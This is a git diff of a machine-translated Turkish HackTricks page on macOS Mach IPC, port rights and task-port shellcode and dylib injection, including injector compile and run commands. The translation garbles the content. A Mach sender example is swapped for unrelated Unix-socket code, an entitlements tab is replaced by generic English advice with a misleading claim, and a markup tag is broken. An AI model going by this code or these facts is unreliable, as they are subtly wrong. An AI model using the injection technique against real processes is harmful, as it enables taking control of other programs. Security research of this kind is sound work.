Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-03-28 17:37:01 +00:00
parent 9fc5b90553
commit af6f1da92e
3 changed files with 308 additions and 245 deletions

View file

@ -1,44 +1,48 @@
# macOS IPC - İşlem Arası İletişim
# macOS IPC - Inter Process Communication
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) bulun
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun.
</details>
## Mach Mesajlaşması Portları Aracılığıyla
## Mach Mesajlaşması Portlar Aracılığıyla
### Temel Bilgiler
Mach, kaynakları paylaşmak için **görevleri** en **küçük birim** olarak kullanır ve her görev **çoklu iş parçacıklarını** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**.
Mach, kaynakları paylaşmak için **görevleri** en küçük birim olarak kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemlerine ve iş parçacıklarına 1:1 olarak eşlenir**.
Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) kullanılarak gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranır**.
Görevler arasındaki iletişim, Mach Arası İşlem İletişimi (IPC) aracılığıyla gerçekleşir ve **mesajlar portlar arasında aktarılır**, bu portlar çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranır**.
Her işlemde bir **IPC tablosu** bulunur ve bu tabloda işlemin **mach portları** bulunabilir. Bir mach portunun adı aslında bir sayıdır (çekirdek nesnesine bir işaretçi).
Her işlemde bir **IPC tablosu** bulunur, burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Bir işlem ayrıca, bazı haklarla birlikte bir port adını **farklı bir göreve gönderebilir** ve çekirdek bu girişi **diğer görevin IPC tablosunda** görünür hale getirir.
Bir işlem ayrıca bir port adını **farklı bir göreve** ve çekirdek bu girişi **diğer görevin IPC tablosuna ekler** şeklinde gönderebilir.
### Port Hakları
Bu iletişim için belirli bir görevin yapabileceği işlemleri tanımlayan port hakları önemlidir. Mümkün olan **port hakları** şunlardır ([buradan tanımlar alınmıştır](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlamalar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da sistemdeki her port için yalnızca **bir alma hakkı olabileceği** anlamına gelir (çoklu işlem, bir borunun okuma ucuna birden fazla işlem dosya tanımlayıcısı tutabilirken).
* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portunun üzerinde Alma hakkına sahiptir**.
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde her bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, burada birden fazla işlemin aynı borunun okuma ucuna dosya tanımlayıcıları tutabileceği durumdan farklıdır).
* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi kendi portu üzerinde Alma hakkına sahiptir**.
* **Gönderme hakkı**, porta mesaj göndermeyi sağlar.
* Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
* **Bir kez gönderme hakkı**, bir mesajı porta bir kez göndermeye ve ardından kaybolmaya olanak tanır.
* **Port kümesi hakkı**, tek bir porttan ziyade bir _port kümesini_ belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birçok porta aynı anda dinlemek için kullanılabilir.
* **Ölü ad**, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm mevcut port hakları ölü adlara dönüşür.
* **Bir kez gönderme hakkı**, porta bir mesaj göndermeyi ve ardından kaybolmayı sağlar.
* **Port kümesi hakkı**, tek bir porttan ziyade bir _port kümesini_ belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birkaç porta aynı anda dinlemek için kullanılabilir.
* **Ölü ad**, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm var olan port hakları ölü adlara dönüşür.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderebilirler. **SEND hakları da kopyalanabilir**, böylece bir görev, hakkı çoğaltabilir ve **üçüncü bir göreve verebilir**. Bu, aracı bir süreç olan **başlangıç sunucusu** ile görevler arasında etkili iletişimi sağlar.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yetkisi verilebilir. **SEND hakları da kopyalanabilir**, böylece bir görev hakkı çoğaltabilir ve **üçüncü bir göreve verebilir**. Bu, **aracı bir süreç olan** **başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
### Dosya Portları
Dosya portları, Mac portlarında dosya tanımlayıcılarını (Mach port haklarını kullanarak) kapsüllüyebilir. Belirli bir FD'den bir `fileport` oluşturmak için `fileport_makeport` kullanarak ve bir FD'den fileport oluşturmak için `fileport_makefd` kullanarak mümkündür.
### İletişim Kurma
@ -46,24 +50,32 @@ Bu iletişim için belirli bir görevin yapabileceği işlemleri tanımlayan por
İletişim kanalını kurmak için **başlangıç sunucusu** (**mac**'de **launchd**) devreye girer.
1. Görev **A**, bir **yeni port** başlatarak işlemde bir **ALMA hakkı** elde eder.
1. Görev **A**, bir **yeni port başlatır** ve işlemde bir **ALMA hakkı** elde eder.
2. ALMA hakkının sahibi olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**.
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı** kurar ve **portun hizmet adını** ve **GÖNDERME hakkını** başlatma kaydı olarak bilinen bir prosedür aracılığıyla sağlar.
4. Görev **B**, hizmet adı için başlangıç sunucusuyla etkileşime girerek başlangıç **araması yapar**. Başarılı olursa, sunucu Görev A'dan aldığı **GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
5. GÖNDERME hakkını elde ettikten sonra, Görev **B**, bir **mesajı formüle edebilir** ve bunu Görev **A'ya gönderebilir**.
6. İki yönlü iletişim için genellikle Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı olan yeni bir port oluşturur ve **GÖNDERME hakkını Görev A'ya verir**, böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar**, portun **hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem **başlangıç kaydı** olarak bilinir.
4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak** için **başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını çoğaltır** ve **Görev B'ye iletir**.
5. GÖNDERME hakkı elde ettikten sonra, Görev **B**, bir **mesaj oluşturabilir** ve bunu **Görev A'ya gönderebilir**.
6. İki yönlü iletişim için genellikle Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir**, böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını **kimlik doğrulayamaz**. Bu, bir görevin potansiyel olarak herhangi bir sistem görevini taklit edebileceği anlamına gelir, örneğin yanlışlıkla bir yetkilendirme hizmet adı iddiasında bulunarak her isteği onaylayabilir.
Başlangıç sunucusu, bir görevin iddia ettiği hizmet adını **kimlik doğrulayamaz**. Bu, bir görevin potansiyel olarak **herhangi bir sistem görevini taklit edebileceği** anlamına gelir, örneğin yanlışlıkla **bir yetkilendirme hizmet adını iddia edebilir ve ardından her isteği onaylayabilir**.
Daha sonra, Apple, sistem tarafından sağlanan hizmetlerin adlarını, güvenli yapılandırma dosyalarında saklar. Bu dosyalar, **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında, **ilişkili ikili de saklanır**. Başlangıç sunucusu, bu hizmet adları için birer **ALMA hakkı oluşturur ve saklar**.
Daha sonra, Apple, **sistem tarafından sağlanan hizmetlerin adlarını** güvenli yapılandırma dosyalarında saklar, bu dosyalar **SIP korumalı** dizinlerde bulunur: `/System/Library/LaunchDaemons` ve `/System/Library/LaunchAgents`. Her hizmet adının yanında **ilişkili ikili dosya da saklanır**. Başlangıç sunucusu, bu hizmet adları için her biri için bir **ALMA hakkı oluşturur ve saklar**.
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı aşağıdaki gibi gerçekleşir:
Bu önceden tanımlanmış hizmetler için, **arama süreci biraz farklıdır**. Bir hizmet adı arandığında, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler:
* Görev **B**, bir hizmet adı için başlangıç **araması başlatır**.
* **launchd**, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, **başlatır**.
* Görev **A** (hizmet), bir başlangıç **kontrolü yapar**. Burada, başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya **aktarır**.
* launchd, **GÖNDERME hakkını kopyalar ve Görev B'ye gönderir**.
* Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı olan yeni bir port oluşturur ve **GÖNDERME hakkını Görev
* Görev **A** (hizmet), bir **başlangıç kontrolü** gerçekleştirir. Burada, **başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya aktarır**.
* launchd, **GÖNDERME hakkını çoğaltır ve Görev B'ye iletir**.
* Görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** (hizmet), böylece Görev A, Görev B'ye mesaj gönderebilir (iki yönlü iletişim).
Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler hala önceki şekilde çalışır, bu da potansiyel olarak taklit edilmesine izin verebilir.
### Bir Mach Mesajı
[Daha fazla bilgi burada bulunabilir](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg` işlevi, temelde bir sistem çağrısı olan Mach mesajlarını göndermek ve almak için kullanılır. İşlev, gönderilecek mesajı ilk argüman olarak gerektirir. Bu mesaj, bir `mach_msg_header_t` yapısı ile başlamalı ve ardından gerçek mesaj içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -74,34 +86,34 @@ mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
**Alma Hakkı**na sahip olan işlemler, bir Mach bağlantı noktasında mesaj alabilirler. Tersine, **gönderenler** bir _**gönderme**_ veya _**bir kez gönderme hakkı**_ verilir. Bir kez gönderme hakkı, yalnızca bir mesaj göndermek için kullanılır ve ardından geçersiz hale gelir.
**Alma hakkına sahip olan işlemler, bir Mach bağlantı noktasında iletileri alabilir. Tersine, gönderenlere bir _**gönderme**_ veya bir _**bir kereye mahsus gönderme hakkı**_ verilir. Bir kereye mahsus gönderme hakkı, yalnızca bir ileti göndermek için kullanılır ve ardından geçersiz hale gelir.
Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, _yanıt bağlantısı_ olarak adlandırılan bir Mach bağlantı noktasını mach **mesaj başlığı** içinde belirtebilir (**`msgh_local_port`**). Mesajın alıcısı, bu mesaja bir yanıt gönderebilir. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir kez gönderme hakkının türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Kolay bir **iki yönlü iletişim** sağlamak için bir işlem, _yanıt bağlantı noktası_ olarak adlandırılan bir Mach **ileti başlığı** içinde bir **mach bağlantı noktası** belirtebilir (**`msgh_local_port`**), iletiyi alan kişinin bu iletiye bir yanıt gönderebilmesi için. **`msgh_bits`** içindeki bit bayrakları, bu bağlantı noktası için bir **bir kereye mahsus gönderme hakkı** türetilip aktarılması gerektiğini **belirtmek** için kullanılabilir (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %}
Unutmayın ki, bu tür iki yönlü iletişim, bir yanıt bekleyen XPC mesajlarında kullanılır (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle, önceki şekilde açıklandığı gibi farklı bağlantı noktaları oluşturulur ve iki yönlü iletişim sağlanır.
Bu tür iki yönlü iletişimin XPC iletilerinde kullanıldığını unutmayın (`xpc_connection_send_message_with_reply` ve `xpc_connection_send_message_with_reply_sync`). Ancak genellikle farklı bağlantı noktaları oluşturulur, önceki açıklandığı gibi iki yönlü iletişimi oluşturmak için.
{% endhint %}
Mesaj başlığının diğer alanları şunlardır:
İleti başlığının diğer alanları şunlardır:
* `msgh_size`: tüm paketin boyutu.
* `msgh_remote_port`: bu mesajın gönderildiği bağlantı noktası.
* `msgh_voucher_port`: [mach kuponları](https://robert.sesek.com/2023/6/mach\_vouchers.html).
* `msgh_id`: alıcı tarafından yorumlanan bu mesajın kimliği.
- `msgh_size`: tüm paketin boyutu.
- `msgh_remote_port`: bu ileti gönderilen bağlantı noktası.
- `msgh_voucher_port`: [mach fişleri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
- `msgh_id`: bu ileti ID'si, alıcı tarafından yorumlanır.
{% hint style="danger" %}
Mach mesajlarının, mach çekirdeğine yerleştirilmiş **tek alıcı**, **çoklu gönderen** iletişim kanalı olan bir **mach bağlantı noktası** üzerinden gönderildiğini **unutmayın**. **Birden çok işlem**, bir mach bağlantı noktasına **mesaj gönderebilir**, ancak herhangi bir anda yalnızca **bir işlem** onu okuyabilir.
**Mach iletileri, Mach çekirdeğine yerleştirilmiş olan, tek alıcı, çoklu gönderici iletişim kanalı olan bir _mach bağlantı noktası_ üzerinden gönderilir.** Birden fazla işlem, bir mach bağlantı noktasına ileti gönderebilir, ancak herhangi bir zamanda yalnızca **bir işlem** ondan **okuyabilir**.
{% endhint %}
### Bağlantı Noktalarını Sıralama
### Bağlantı Noktalarını Sırala**
```bash
lsmp -p <pid>
```
Bu aracı iOS'a indirerek yükleyebilirsiniz. İndirmek için [http://newosxbook.com/tools/binpack64-256.tar.gz ](http://newosxbook.com/tools/binpack64-256.tar.gz) adresini kullanabilirsiniz.
Bu aracı iOS'e [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) adresinden indirerek yükleyebilirsiniz.
### Kod örneği
Gönderenin, bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **başlangıç sunucusuna** gönderdiğine dikkat edin. Alıcı ise bu isim için **gönderme hakkını** istedi ve bir mesaj göndermek için kullandı.
**Gönderici**nin nasıl bir bağlantı noktası tahsis ettiğine, `org.darlinghq.example` adı için bir **gönderme hakkı** oluşturduğuna ve bunu **önyükleme sunucusuna** gönderdiğine dikkat edin, gönderici bu adın **gönderme hakkını** istedi ve bunu kullanarak bir **mesaj gönderdi**.
{% tabs %}
{% tab title="receiver.c" %}
@ -170,66 +182,55 @@ message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{% endtab %}
{% tab title="sender.c" %}
### sender.c
Bu basit bir örnek C programıdır. Bu program, bir mesaj oluşturur ve bu mesajı bir Unix domain soket aracılığıyla alıcıya gönderir.
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/message.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
int main(int argc, char *argv[]) {
mach_port_t server_port;
kern_return_t kr;
char *message = "Hello, receiver!";
mach_msg_header_t *msg;
mach_msg_return_t mr;
#define SOCKET_PATH "/tmp/ipc_socket"
// Create a send right for the server port
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_SEND, &server_port);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate send right for server port: %s\n", mach_error_string(kr));
exit(1);
int main() {
struct sockaddr_un addr;
int sockfd;
sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
if (sockfd == -1) {
perror("socket error");
exit(EXIT_FAILURE);
}
// Set the destination port
server_port = 0x100; // Replace with the actual destination port
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);
// Allocate memory for the message
msg = malloc(sizeof(mach_msg_header_t) + strlen(message) + 1);
if (msg == NULL) {
printf("[-] Failed to allocate memory for the message\n");
exit(1);
if (connect(sockfd, (struct sockaddr*)&addr, sizeof(struct sockaddr_un)) == -1) {
perror("connect error");
exit(EXIT_FAILURE);
}
// Set the message header
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg->msgh_size = sizeof(mach_msg_header_t) + strlen(message) + 1;
msg->msgh_remote_port = server_port;
msg->msgh_local_port = MACH_PORT_NULL;
msg->msgh_reserved = 0;
// Copy the message content
strcpy((char *)msg + sizeof(mach_msg_header_t), message);
// Send the message
mr = mach_msg(msg, MACH_SEND_MSG, msg->msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (mr != MACH_MSG_SUCCESS) {
printf("[-] Failed to send message: %s\n", mach_error_string(mr));
exit(1);
char* message = "Hello, IPC!";
if (write(sockfd, message, strlen(message)) == -1) {
perror("write error");
}
printf("[+] Message sent successfully\n");
close(sockfd);
return 0;
}
```
{% endtab %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
@ -281,25 +282,22 @@ return 1;
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
### Ayrıcalıklı Portlar
* **Ana bilgisayar portu**: Bir işlem bu porta **Gönderme** ayrıcalığına sahipse, **sistem hakkında bilgi** alabilir (örneğin, `host_processor_info`).
* **Ana bilgisayar ayrıcalıklı portu**: Bu porta **Gönderme** hakkına sahip bir işlem, bir çekirdek uzantısı yükleme gibi **ayrıcalıklı eylemler** gerçekleştirebilir. Bu izne sahip olmak için **işlem kök kullanıcı** olmalıdır.
* Ayrıca, **`kext_request`** API'sini çağırmak için yalnızca Apple ikili dosyalarına verilen diğer yetkilendirmeler olan **`com.apple.private.kext*`**'e ihtiyaç vardır.
* **Görev adı portu**: _Görev portu_'nun ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca `task_info()` üzerinden kullanılabilen tek şey gibi görünüyor.
* **Görev portu** (aka çekirdek portu)**:** Bu porta Gönderme izniyle görevi kontrol etmek mümkündür (bellek okuma/yazma, iş parçacığı oluşturma...).
* **Çağrıyı yapmak için** `mach_task_self()` **adını almak** için bu port için çağrıyı yaptığınız görev için. Bu port yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev ayrıca `exec()`'den sonra bir suid ikili dosyada yeni bir görev portu alır). Bir görevi başlatmak ve portunu almak için yapılması gereken tek yol, bir `fork()` yaparken ["port takas dansını"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) gerçekleştirmektir.
* Bu, porta erişim için olan kısıtlamalardır (`AppleMobileFileIntegrity` ikili dosyasındaki `macos_task_policy`'den):
* Uygulamanın **`com.apple.security.get-task-allow` yetkilendirmesine** sahip olması durumunda, **aynı kullanıcıdan** gelen işlemler görev portuna erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** süreci, bunun üretim sürümlerine izin vermez.
* **`com.apple.system-task-ports`** yetkilendirmesine sahip uygulamalar, çekirdek hariç, **herhangi bir** işlemin görev portunu alabilir. Daha eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu sadece Apple uygulamalarına verilir.
* **Kök**, **sertleştirilmiş** bir çalışma zamanıyla derlenmeyen (ve Apple'dan olmayan) uygulamaların görev portlarına erişebilir.
- **Ana bilgisayar portu**: Bir işlem bu porta **Gönderme** ayrıcalığına sahipse, **sistem hakkında bilgi** alabilir (ör. `host_processor_info`).
- **Ana bilgisayar ayrıcalıklı portu**: Bu porta **Gönderme** hakkına sahip bir işlem, bir çekirdek uzantısını yükleme gibi **ayrıcalıklı işlemler** gerçekleştirebilir. Bu izne sahip olmak için **işlem root olmalıdır**.
- Ayrıca, **`kext_request`** API'sını çağırmak için yalnızca Apple ikili dosyalarına verilen **`com.apple.private.kext*`** gibi diğer ayrıcalıklara ihtiyaç vardır.
- **Görev adı portu:** _Görev portu_ nun ayrıcalıksız bir sürümüdür. Görevi referans alır, ancak kontrol etmeye izin vermez. Yalnızca üzerinden `task_info()` işlemi yapılabilir gibi görünmektedir.
- **Görev portu** (ayrıca çekirdek portu olarak da bilinir)**:** Bu porta **Gönderme** izni ile sahip olan kişi görevi kontrol edebilir (bellek okuma/yazma, iş parçacığı oluşturma...).
- **Çağıran görev için bu portun adını almak** için `mach_task_self()` çağrısını yapın. Bu port yalnızca **`exec()`** işlemi sırasında **miras alınır**; `fork()` ile oluşturulan yeni bir görev yeni bir görev portu alır (özel bir durum olarak, bir görev `exec()` işleminden sonra yeni bir görev portu alır). Bir görev oluşturmak ve portunu almanın tek yolu, `fork()` işlemi sırasında ["port takası dansını"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) gerçekleştirirken bir görev oluşturmaktır.
- Bu porta erişim kısıtlamaları (binary `AppleMobileFileIntegrity`'den `macos_task_policy` üzerinden):
- Uygulamanın **`com.apple.security.get-task-allow` ayrıcalığı** varsa, **aynı kullanıcıdan gelen işlemler görev portuna erişebilir** (genellikle hata ayıklama için Xcode tarafından eklenir). **Notarizasyon** işlemi bunu üretim sürümlerine izin vermez.
- **`com.apple.system-task-ports`** ayrıcalığına sahip uygulamalar, çekirdek hariç **herhangi bir** işlemin **görev portunu alabilir**. Eski sürümlerde **`task_for_pid-allow`** olarak adlandırılıyordu. Bu yalnızca Apple uygulamalarına verilir.
- **Root, sertifikalı çalışma zamanı olmayan** (ve Apple'dan olmayan) uygulamaların görev portlarına erişebilir.
### Görev portu aracılığıyla İş Parçacığına Shellcode Enjeksiyonu&#x20;
### Görev Portu Aracılığıyla İş Parçacığına Shellcode Enjeksiyonu
Aşağıdaki bağlantıdan bir shellcode alabilirsiniz:
Shellcode'u aşağıdaki yerden alabilirsiniz:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
@ -336,15 +334,31 @@ performMathOperations(); // Silent action
return 0;
}
```
{% tab title="entitlements.plist" %}
{% endtab %}
Bu dosya, bir macOS uygulamasının hangi özel yeteneklere sahip olduğunu belirlemek için kullanılır. Bu yetenekler, uygulamanın diğer işlemlerle iletişim kurmasına, sistem kaynaklarına erişmesine veya diğer güvenlik önlemlerini atlamasına izin verebilir. Entitlements.plist dosyası, uygulamanın gerekli yeteneklerini tanımlayan bir XML dosyasıdır.
{% tab title="entitlements.plist" %}
Bu dosya, uygulamanın hangi IPC (Inter-Process Communication) yöntemlerini kullanabileceğini belirlemek için de kullanılabilir. IPC, farklı işlemler arasında iletişim kurmak için kullanılan bir mekanizmadır. Bu iletişim, mesajlaşma, paylaşılan bellek veya soketler gibi farklı yöntemlerle gerçekleştirilebilir.
### macOS IPC (Inter-Process Communication)
Entitlements.plist dosyası, uygulamanın IPC yöntemlerini kullanabilmesi için gerekli yetenekleri içerebilir. Örneğin, uygulamanın diğer işlemlerle mesajlaşabilmesi için "com.apple.security.cs.allow-unsigned-executable-memory" yeteneği gerekebilir. Bu yetenek, uygulamanın paylaşılan bellek kullanarak diğer işlemlerle iletişim kurmasına izin verir.
#### macOS IPC Mechanisms
Bu dosya, uygulamanın güvenlik ve ayrıcalık yükseltme saldırılarına karşı korunmasına yardımcı olmak için dikkatlice yapılandırılmalıdır. Uygulama geliştiricileri, yalnızca gerekli olan yetenekleri eklemeli ve gereksiz yetenekleri kaldırmalıdır. Aksi takdirde, uygulama, kötü niyetli kullanıcıların veya saldırganların hedefi olabilir ve sistem güvenliği tehlikeye girebilir.
macOS provides several mechanisms for inter-process communication (IPC), including:
- **Mach Messages**: Low-level messaging system used by the kernel and other system services.
- **XPC Services**: Lightweight inter-process communication mechanism for macOS applications.
- **Distributed Objects**: Apple's legacy IPC mechanism, now deprecated in favor of XPC Services.
- **Apple Events**: High-level IPC mechanism used for automation and scripting.
#### IPC Security Considerations
When designing macOS applications that use IPC, consider the following security best practices:
- **Use XPC Services**: Prefer XPC Services for IPC due to its improved security features.
- **Implement Proper Entitlements**: Ensure that your application's entitlements are properly configured to restrict IPC capabilities.
- **Validate Input**: Always validate input received through IPC to prevent injection attacks.
- **Encrypt Communication**: When transmitting sensitive data over IPC, use encryption to protect against eavesdropping.
By following these best practices, you can enhance the security of your macOS applications that utilize IPC.
{% endtab %}
```xml
@ -359,7 +373,7 @@ Bu dosya, uygulamanın güvenlik ve ayrıcalık yükseltme saldırılarına kar
{% endtab %}
{% endtabs %}
Önceki programı **derleyin** ve aynı kullanıcıyla kod enjekte etmek için **yetkilendirmeleri** ekleyin (aksi takdirde **sudo** kullanmanız gerekecektir).
Önceki programı **derleyin** ve aynı kullanıcıyla kod enjekte etmek için **yetkileri** ekleyin (aksi takdirde **sudo** kullanmanız gerekecektir).
<details>
@ -560,23 +574,23 @@ inject(pid);
return 0;
}
```
</details>
</detaylar>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Task portu aracılığıyla Thread'e Dylib Enjeksiyonu
### Görev bağlantısı aracılığıyla thread'e Dylib Enjeksiyonu
macOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğu için **posix uyumlu değildir**.
macOS'ta **thread'ler**, **Mach** veya **posix `pthread` api** kullanılarak manipüle edilebilir. Önceki enjeksiyonda oluşturduğumuz thread, Mach api kullanılarak oluşturulduğundan **posix uyumlu değil**.
Bir komutu çalıştırmak için basit bir shellcode enjekte etmek mümkündü çünkü **posix uyumlu api'lerle çalışmak zorunda değildi**, sadece Mach ile çalışması gerekiyordu. **Daha karmaşık enjeksiyonlar** için thread'in de **posix uyumlu olması** gerekmektedir.
